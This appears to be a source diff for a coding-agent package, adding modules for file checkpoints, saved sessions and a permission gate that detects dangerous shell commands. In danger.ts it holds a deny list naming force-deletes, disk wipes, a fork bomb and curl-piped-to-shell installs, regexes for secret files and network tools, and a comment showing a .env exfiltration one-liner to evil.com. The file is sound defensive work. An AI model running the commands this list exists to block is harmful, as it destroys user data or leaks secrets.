privateer-agent 0.1.0

package/src/memory/checkpoints.ts

@@ -0,0 +1,227 @@
+import { createHash } from "node:crypto";
+import { existsSync, readFileSync, writeFileSync, mkdirSync, rmSync, readdirSync } from "node:fs";
+import { dirname, join } from "node:path";
+
+// How many of the most recent checkpoints to keep. Older ones are dropped and any blobs
+// they alone referenced are garbage-collected, so a long-lived session stays bounded.
+const DEFAULT_MAX_CHECKPOINTS = 100;
+
+// The on-disk state of a single file at a moment in time. `existed: false` means the
+// file was absent (so restoring deletes it). When it existed, `hash` keys its content
+// in the blob store rather than inlining it, so the index stays small and repeated
+// content across turns is stored once.
+export interface FileState {
+  existed: boolean;
+  hash?: string;
+}
+
+export interface Checkpoint {
+  id: string;
+  label: string;
+  ts: number;
+  messagesLength: number; // engine.messages length at checkpoint time
+  committedLength: number; // UI transcript length at checkpoint time
+  files: Record<string, FileState>; // absolute path → state captured at checkpoint time
+}
+
+export type RewindScope = "conversation" | "files" | "both";
+
+// The serialized index for one session's checkpoints. Blob bodies live separately
+// (content-addressed under `blobs/`), so this stays compact regardless of file size.
+interface PersistedIndex {
+  seq: number;
+  original: Record<string, FileState>;
+  touched: string[];
+  checkpoints: Checkpoint[];
+}
+
+// Content-addressed file-content store. Backed by disk when a directory is given (so
+// snapshots survive a restart) or an in-memory map otherwise (live-session only, used
+// by tests and any non-persisted store). Identical content is stored once under its
+// sha256, which keeps growth bounded since most turns touch few files and content
+// repeats heavily across checkpoints.
+class BlobStore {
+  private mem = new Map<string, string>();
+
+  constructor(private dir?: string) {}
+
+  put(content: string): string {
+    const hash = createHash("sha256").update(content).digest("hex");
+    if (this.dir) {
+      const p = join(this.dir, hash);
+      if (!existsSync(p)) {
+        mkdirSync(this.dir, { recursive: true });
+        writeFileSync(p, content, "utf8");
+      }
+    } else {
+      this.mem.set(hash, content);
+    }
+    return hash;
+  }
+
+  get(hash: string): string | undefined {
+    if (this.dir) {
+      const p = join(this.dir, hash);
+      return existsSync(p) ? readFileSync(p, "utf8") : undefined;
+    }
+    return this.mem.get(hash);
+  }
+
+  // Drop every stored blob whose hash isn't in `live`.
+  keep(live: Set<string>): void {
+    if (this.dir) {
+      if (!existsSync(this.dir)) return;
+      for (const name of readdirSync(this.dir)) {
+        if (!live.has(name)) rmSync(join(this.dir, name), { force: true });
+      }
+    } else {
+      for (const h of this.mem.keys()) if (!live.has(h)) this.mem.delete(h);
+    }
+  }
+}
+
+// Undo for the agent's edits, durable when bound to a session directory. A checkpoint
+// is taken before each turn, capturing the conversation length and the current content
+// of every file the session has modified so far. The first time any file is mutated we
+// also record its original (pre-modification) state, so a rewind can restore files
+// first touched after a checkpoint back to their baseline — or delete files the session
+// created. When constructed with a directory the index and blobs are persisted there,
+// so `/rewind` keeps working after the process restarts and the session is resumed.
+export class CheckpointStore {
+  private original = new Map<string, FileState>();
+  private touched = new Set<string>();
+  private checkpoints: Checkpoint[] = [];
+  private seq = 0;
+  private blobs: BlobStore;
+
+  constructor(
+    private dir?: string,
+    private maxCheckpoints = DEFAULT_MAX_CHECKPOINTS,
+  ) {
+    this.blobs = new BlobStore(dir ? join(dir, "blobs") : undefined);
+  }
+
+  // Rehydrate a store from a session's checkpoint directory (or a fresh, empty store
+  // bound to that directory when nothing has been persisted there yet).
+  static load(dir: string): CheckpointStore {
+    const store = new CheckpointStore(dir);
+    store.loadFrom(dir);
+    return store;
+  }
+
+  private loadFrom(dir: string): void {
+    try {
+      const p = join(dir, "index.json");
+      if (!existsSync(p)) return;
+      const data = JSON.parse(readFileSync(p, "utf8")) as PersistedIndex;
+      this.seq = data.seq ?? 0;
+      this.original = new Map(Object.entries(data.original ?? {}));
+      this.touched = new Set(data.touched ?? []);
+      this.checkpoints = data.checkpoints ?? [];
+    } catch {
+      /* corrupt index: start fresh rather than crash */
+    }
+  }
+
+  // Re-point this store at a different session's persisted checkpoints, replacing all
+  // in-memory state. Used when `/resume` swaps the live conversation for a stored one:
+  // the engine's existing recordMutation closure keeps pointing at this instance, so we
+  // mutate it in place rather than constructing a new store.
+  adopt(dir: string): void {
+    this.dir = dir;
+    this.blobs = new BlobStore(join(dir, "blobs"));
+    this.original = new Map();
+    this.touched = new Set();
+    this.checkpoints = [];
+    this.seq = 0;
+    this.loadFrom(dir);
+  }
+
+  private captureFileState(abs: string): FileState {
+    if (!existsSync(abs)) return { existed: false };
+    try {
+      return { existed: true, hash: this.blobs.put(readFileSync(abs, "utf8")) };
+    } catch {
+      return { existed: false };
+    }
+  }
+
+  private applyFileState(abs: string, state: FileState): void {
+    if (state.existed && state.hash != null) {
+      mkdirSync(dirname(abs), { recursive: true });
+      writeFileSync(abs, this.blobs.get(state.hash) ?? "", "utf8");
+    } else if (existsSync(abs)) {
+      rmSync(abs, { force: true });
+    }
+  }
+
+  private persist(): void {
+    if (!this.dir) return;
+    try {
+      mkdirSync(this.dir, { recursive: true });
+      const data: PersistedIndex = {
+        seq: this.seq,
+        original: Object.fromEntries(this.original),
+        touched: [...this.touched],
+        checkpoints: this.checkpoints,
+      };
+      writeFileSync(join(this.dir, "index.json"), JSON.stringify(data), "utf8");
+    } catch {
+      /* persistence is best-effort; the in-memory store stays usable */
+    }
+  }
+
+  // Called by write/edit immediately before they mutate `abs`.
+  recordMutation(abs: string): void {
+    if (!this.original.has(abs)) this.original.set(abs, this.captureFileState(abs));
+    this.touched.add(abs);
+    this.persist();
+  }
+
+  create(opts: { messagesLength: number; committedLength: number; label: string }): Checkpoint {
+    const files: Record<string, FileState> = {};
+    for (const p of this.touched) files[p] = this.captureFileState(p);
+    const cp: Checkpoint = {
+      id: `cp${++this.seq}`,
+      label: opts.label.replace(/\s+/g, " ").trim().slice(0, 60) || "(turn)",
+      ts: Date.now(),
+      messagesLength: opts.messagesLength,
+      committedLength: opts.committedLength,
+      files,
+    };
+    this.checkpoints.push(cp);
+    this.trim();
+    this.persist();
+    return cp;
+  }
+
+  // Enforce the retention cap, dropping the oldest checkpoints and reclaiming any blobs
+  // they alone referenced. Files first touched before the surviving window stay
+  // rewindable: the oldest retained checkpoint falls back to the `original` baseline,
+  // whose blobs are never collected while the file remains in `touched`.
+  private trim(): void {
+    if (this.checkpoints.length <= this.maxCheckpoints) return;
+    this.checkpoints.splice(0, this.checkpoints.length - this.maxCheckpoints);
+    const live = new Set<string>();
+    for (const s of this.original.values()) if (s.hash) live.add(s.hash);
+    for (const cp of this.checkpoints)
+      for (const s of Object.values(cp.files)) if (s.hash) live.add(s.hash);
+    this.blobs.keep(live);
+  }
+
+  list(): Checkpoint[] {
+    return [...this.checkpoints];
+  }
+
+  get(id: string): Checkpoint | undefined {
+    return this.checkpoints.find((c) => c.id === id);
+  }
+
+  // Restore every session-touched file to its state as of `cp`: the checkpoint's
+  // snapshot if present, otherwise the file's original (pre-first-touch) state.
+  restoreFiles(cp: Checkpoint): void {
+    for (const abs of this.touched) {
+      this.applyFileState(abs, cp.files[abs] ?? this.original.get(abs) ?? { existed: false });
+    }
+  }
+}

package/src/memory/store.ts

@@ -0,0 +1,127 @@
+import { createHash } from "node:crypto";
+import { mkdirSync, writeFileSync, readFileSync, existsSync, readdirSync } from "node:fs";
+import { join } from "node:path";
+import type { ModelMessage } from "ai";
+import { globalDir } from "../config/load.ts";
+import type { UsageTotals } from "../engine/events.ts";
+
+// Persisted conversation for a project. Each session is stored under its own id so the
+// `/resume` picker can browse history; `latest.json` mirrors the newest write so the
+// `--continue` flag keeps working without enumerating the sessions directory.
+export interface SessionData {
+  id: string;
+  updatedAt: string;
+  modelSpec: string;
+  messages: ModelMessage[];
+  usage: UsageTotals;
+}
+
+// Lightweight summary used by the session picker, without loading every message.
+export interface SessionMeta {
+  id: string;
+  updatedAt: string;
+  modelSpec: string;
+  messageCount: number;
+  preview: string;
+}
+
+// A stable per-project key derived from the absolute cwd. Exported so other memory
+// modules (e.g. auto-memory) can resolve the same per-project directory.
+export function projectKey(cwd: string): string {
+  return createHash("sha1").update(cwd).digest("hex").slice(0, 12);
+}
+
+function projectDir(cwd: string): string {
+  return join(globalDir(), "projects", projectKey(cwd));
+}
+
+function sessionsDir(cwd: string): string {
+  return join(projectDir(cwd), "sessions");
+}
+
+function latestPath(cwd: string): string {
+  return join(projectDir(cwd), "latest.json");
+}
+
+function sessionPath(cwd: string, id: string): string {
+  return join(sessionsDir(cwd), `${id}.json`);
+}
+
+// Per-session checkpoint directory (index + content-addressed blobs), kept alongside
+// the session file so `/rewind` survives a restart when that session is resumed.
+export function checkpointsDir(cwd: string, id: string): string {
+  return join(projectDir(cwd), "checkpoints", id);
+}
+
+// A fresh, time-ordered session id minted once per run.
+export function newSessionId(): string {
+  return `s-${Date.now()}`;
+}
+
+// Pull a short, single-line preview from the first user message for the picker.
+function previewOf(messages: ModelMessage[]): string {
+  const first = messages.find((m) => m.role === "user");
+  if (!first) return "(empty session)";
+  const text =
+    typeof first.content === "string"
+      ? first.content
+      : Array.isArray(first.content)
+        ? first.content
+            .map((p) => (p.type === "text" ? p.text : ""))
+            .join(" ")
+        : "";
+  return text.replace(/\s+/g, " ").trim().slice(0, 72) || "(no text)";
+}
+
+export function saveSession(
+  cwd: string,
+  id: string,
+  data: Omit<SessionData, "updatedAt" | "id">,
+): void {
+  mkdirSync(sessionsDir(cwd), { recursive: true });
+  const payload: SessionData = { ...data, id, updatedAt: new Date().toISOString() };
+  const json = JSON.stringify(payload);
+  writeFileSync(sessionPath(cwd, id), json, "utf8");
+  writeFileSync(latestPath(cwd), json, "utf8"); // back-compat for --continue
+}
+
+function readSessionFile(path: string): SessionData | null {
+  if (!existsSync(path)) return null;
+  try {
+    const data = JSON.parse(readFileSync(path, "utf8")) as SessionData;
+    // Tolerate older files written before sessions had ids.
+    if (!data.id) data.id = newSessionId();
+    return data;
+  } catch {
+    return null;
+  }
+}
+
+export function loadLatest(cwd: string): SessionData | null {
+  return readSessionFile(latestPath(cwd));
+}
+
+export function loadSession(cwd: string, id: string): SessionData | null {
+  return readSessionFile(sessionPath(cwd, id));
+}
+
+// Summaries of every stored session for this project, newest first.
+export function listSessions(cwd: string): SessionMeta[] {
+  const dir = sessionsDir(cwd);
+  if (!existsSync(dir)) return [];
+  const metas: SessionMeta[] = [];
+  for (const file of readdirSync(dir)) {
+    if (!file.endsWith(".json")) continue;
+    const data = readSessionFile(join(dir, file));
+    if (!data) continue;
+    metas.push({
+      id: data.id,
+      updatedAt: data.updatedAt,
+      modelSpec: data.modelSpec,
+      messageCount: data.messages.length,
+      preview: previewOf(data.messages),
+    });
+  }
+  // Newest first; fall back to id when two writes share a millisecond.
+  return metas.sort((a, b) => b.updatedAt.localeCompare(a.updatedAt) || b.id.localeCompare(a.id));
+}

package/src/permissions/danger.ts

@@ -0,0 +1,56 @@
+// Dangerous-shell detection. These checks sit *above* the permission mode: a
+// command they flag always forces an interactive confirmation, even under
+// `acceptEdits`, an allowlist entry, or `bypass`. The goal is to blunt
+// prompt-injection — an autonomous turn cannot silently wipe a tree or pipe a
+// secret to the network without the user seeing a prompt.
+
+// Default-deny command shapes. Each entry is a JS regex source string so it can
+// be carried in config (JSON) and extended per-project. Matching is
+// case-insensitive against the raw command text.
+export const DEFAULT_DENYLIST: string[] = [
+  // Recursive force-deletes and disk wipes.
+  "\\brm\\s+(-[a-z]*r[a-z]*f|-[a-z]*f[a-z]*r)\\b",
+  "\\brm\\s+-[a-z]*r[a-z]*\\s+/(\\s|$)",
+  "\\b(mkfs|dd)\\b.*\\bof=/dev/",
+  ":\\(\\)\\s*\\{.*\\};:", // classic fork bomb
+  // Curl/wget piped straight into a shell — the canonical drive-by install.
+  "\\b(curl|wget)\\b[^|]*\\|\\s*(sudo\\s+)?(ba|z|d)?sh\\b",
+  // Mass-permission / ownership changes from the root.
+  "\\bchmod\\s+-R\\s+(0?7{3}|a\\+rwx)\\s+/",
+  // History/credential nuking.
+  "\\bgit\\b.*\\bpush\\b.*--force\\b.*\\b(origin\\s+)?(main|master)\\b",
+];
+
+// Files/paths whose contents are secrets. Referenced (very) liberally — a false
+// positive only costs one extra confirmation prompt.
+const SECRET_FILE =
+  /(^|[\s'"=(/])(\.env(\.[\w.-]+)?|\.npmrc|\.netrc|\.pgpass|id_(rsa|ed25519|ecdsa|dsa)|\.aws\/credentials|\.ssh\/[\w.-]+|[\w.-]*(secret|credential|token|api[_-]?key|password)[\w.-]*)\b/i;
+
+// Commands that can move bytes off the machine.
+const NETWORK_SINK =
+  /\b(curl|wget|nc|ncat|netcat|telnet|ssh|scp|sftp|ftp|rsync|http\.client|requests\.(get|post)|fetch)\b|>\s*\/dev\/tcp\//i;
+
+// Heuristic: does this command read a secret-bearing file *and* invoke something
+// that can send it over the network? Catches the common exfil one-liner
+// (`cat .env | curl -d @- evil.com`) without trying to parse the shell.
+export function looksLikeSecretExfil(command: string): boolean {
+  return SECRET_FILE.test(command) && NETWORK_SINK.test(command);
+}
+
+export function matchesDenylist(command: string, patterns: string[]): boolean {
+  return patterns.some((src) => {
+    if (!src.trim()) return false;
+    let re: RegExp;
+    try {
+      re = new RegExp(src, "i");
+    } catch {
+      return false; // a malformed user pattern should never crash the gate
+    }
+    return re.test(command);
+  });
+}
+
+// A single predicate the gate consults for any bash command.
+export function isDangerousCommand(command: string, denylist: string[]): boolean {
+  return looksLikeSecretExfil(command) || matchesDenylist(command, denylist);
+}

package/src/permissions/gate.ts

@@ -0,0 +1,38 @@
+// The permission gate is the seam between tools and the user's approval policy.
+// Tools call `gate.request(...)` before any mutation or shell execution; the gate
+// decides allow/deny based on the active permission mode (Phase 4) and may prompt
+// the user interactively. Phase 2 ships a pass-through gate so tools work
+// end-to-end; Phase 4 replaces it with the mode-aware interactive gate.
+
+export type PermissionDecision = "allow" | "deny";
+
+export type PermissionKind = "write" | "edit" | "bash" | "fetch" | "read";
+
+export interface PermissionRequest {
+  tool: string;
+  kind: PermissionKind;
+  title: string; // short action label, e.g. "Run command"
+  detail: string; // the command, or file path + change preview
+  protected?: boolean; // target is a guarded file: never auto-approve, always prompt
+  // Target resolves outside the working directory: never auto-approve (unless bypass),
+  // always prompt. `path` carries the absolute target so "always" can remember its dir.
+  outside?: boolean;
+  path?: string;
+}
+
+export interface PermissionGate {
+  request(req: PermissionRequest): Promise<PermissionDecision>;
+}
+
+export const autoApproveGate: PermissionGate = {
+  async request() {
+    return "allow";
+  },
+};
+
+export class PermissionDeniedError extends Error {
+  constructor(tool: string) {
+    super(`Permission denied for ${tool}`);
+    this.name = "PermissionDeniedError";
+  }
+}

package/src/permissions/mode.ts

@@ -0,0 +1,39 @@
+import type { PermissionMode } from "../config/schema.ts";
+import type { PermissionRequest } from "./gate.ts";
+import { isDangerousCommand } from "./danger.ts";
+
+export type AutoDecision = "allow" | "deny" | "ask";
+
+// Is a bash command covered by the allowlist? Entries are command prefixes:
+// "git status" allows exactly that and "git status --short", but not "git push".
+export function isAllowlisted(command: string, allowlist: string[]): boolean {
+  const cmd = command.trim();
+  return allowlist.some((entry) => {
+    const e = entry.trim();
+    return e !== "" && (cmd === e || cmd.startsWith(e + " "));
+  });
+}
+
+// Decide what to do with a permission request from the current mode + allowlist,
+// before involving the user. Returns "ask" when interactive approval is needed.
+export function decideAuto(
+  req: PermissionRequest,
+  mode: PermissionMode,
+  allowlist: string[],
+  denylist: string[] = [],
+): AutoDecision {
+  // Read-only mode allows network reads but no mutations or shell.
+  if (mode === "plan") return req.kind === "fetch" ? "ask" : "deny";
+  // Dangerous shell (destructive / secret-exfil) always confirms — this sits
+  // above bypass and the allowlist so an injected command can't run silently.
+  if (req.kind === "bash" && isDangerousCommand(req.detail, denylist)) return "ask";
+  if (mode === "bypass") return "allow";
+  // Access outside the working directory always confirms (the user has to explicitly
+  // allow leaving cwd), even under acceptEdits or the allowlist.
+  if (req.outside) return "ask";
+  // Guarded files always surface a prompt, even under acceptEdits or the allowlist.
+  if (req.protected) return "ask";
+  if (req.kind === "bash" && isAllowlisted(req.detail, allowlist)) return "allow";
+  if (mode === "acceptEdits" && (req.kind === "write" || req.kind === "edit")) return "allow";
+  return "ask";
+}

package/src/permissions/protected.ts

@@ -0,0 +1,29 @@
+import { basename } from "node:path";
+
+// Files we never auto-edit, even under acceptEdits/allowlist: shell rc / git /
+// package-manager / secrets that a coding task should not silently rewrite. A
+// protected target forces an interactive prompt (it can still
+// be approved), and is never covered by `acceptEdits` or a bash allowlist entry.
+const PROTECTED_BASENAMES = new Set([
+  ".gitconfig",
+  ".git-credentials",
+  ".bashrc",
+  ".bash_profile",
+  ".zshrc",
+  ".profile",
+  ".npmrc",
+  ".netrc",
+  ".env",
+  ".mcp.json",
+  ".privateer.json",
+]);
+
+// Also treat any dotfile holding the word "env" or "secret" as sensitive.
+function looksSensitive(name: string): boolean {
+  return /^\.env(\..+)?$/.test(name) || /secret|credential/i.test(name);
+}
+
+export function isProtectedPath(p: string): boolean {
+  const name = basename(p);
+  return PROTECTED_BASENAMES.has(name) || looksSensitive(name);
+}

package/src/permissions/uiGate.ts

@@ -0,0 +1,73 @@
+import { dirname } from "node:path";
+import type { PermissionMode } from "../config/schema.ts";
+import type { PermissionGate, PermissionRequest, PermissionDecision } from "./gate.ts";
+import { decideAuto } from "./mode.ts";
+import { isDangerousCommand } from "./danger.ts";
+
+// What the interactive prompt can return. "always" means allow now and remember:
+// for bash, add the command to the session allowlist; for edits, switch to acceptEdits.
+export type AskOutcome = "allow" | "deny" | "always";
+export type Asker = (req: PermissionRequest) => Promise<AskOutcome>;
+
+export interface ModeGateDeps {
+  getMode: () => PermissionMode;
+  setMode: (mode: PermissionMode) => void;
+  allowlist: string[]; // session-scoped, mutated in place on "always"
+  denylist?: string[]; // dangerous-command patterns that always require a prompt
+  // Out-of-cwd directories approved this session ("always" on an outside prompt),
+  // mutated in place. Shared with the tool context so approved locations stop
+  // re-prompting. The same array instance must be handed to the tools.
+  allowedOutsideRoots?: string[];
+  ask: Asker;
+  // True while the active turn was injected by a remote controller (the app, via
+  // /remote-access). Remote turns NEVER auto-approve off bypass-mode/allowlist/
+  // acceptEdits — every would-be action is relayed to the app for Allow/Deny, so
+  // an unattended terminal can't silently run a remote party's bash or edits.
+  // Hard denies (e.g. plan mode) are still honored without bothering the phone.
+  getRemote?: () => boolean;
+}
+
+// The permission gate used by the live TUI. It first applies the mode/allowlist
+// policy; only when that yields "ask" does it surface an interactive prompt, and it
+// applies "always" outcomes so subsequent similar actions don't re-prompt.
+export class ModeGate implements PermissionGate {
+  constructor(private readonly deps: ModeGateDeps) {}
+
+  async request(req: PermissionRequest): Promise<PermissionDecision> {
+    const denylist = this.deps.denylist ?? [];
+    const auto = decideAuto(req, this.deps.getMode(), this.deps.allowlist, denylist);
+
+    // Remote-driven turn: skip every auto-allow (bypass/allowlist/acceptEdits) and
+    // relay the decision to the app. Still respect a hard "deny" (e.g. plan mode)
+    // so a read-only stance can't be talked around remotely. Outcomes are never
+    // remembered — we don't let a remote operator mutate local allowlist/mode.
+    if (this.deps.getRemote?.()) {
+      if (auto === "deny") return "deny";
+      return (await this.deps.ask(req)) === "deny" ? "deny" : "allow";
+    }
+
+    if (auto !== "ask") return auto;
+
+    // A dangerous command can be approved once, but is never remembered: adding
+    // it to the allowlist would let a later injected variant slip through.
+    const dangerous = req.kind === "bash" && isDangerousCommand(req.detail, denylist);
+
+    const outcome = await this.deps.ask(req);
+    if (outcome === "deny") return "deny";
+    if (outcome === "always" && !dangerous) {
+      if (req.outside) {
+        // Remember the approved location's directory, so further access under it (a
+        // sibling repo the user pointed us at) doesn't re-prompt. Deliberately does
+        // NOT relax the edit mode — leaving cwd stays a per-location decision.
+        const roots = this.deps.allowedOutsideRoots;
+        const root = req.path ? dirname(req.path) : undefined;
+        if (roots && root && !roots.includes(root)) roots.push(root);
+      } else if (req.kind === "bash") {
+        if (!this.deps.allowlist.includes(req.detail)) this.deps.allowlist.push(req.detail);
+      } else {
+        this.deps.setMode("acceptEdits");
+      }
+    }
+    return "allow";
+  }
+}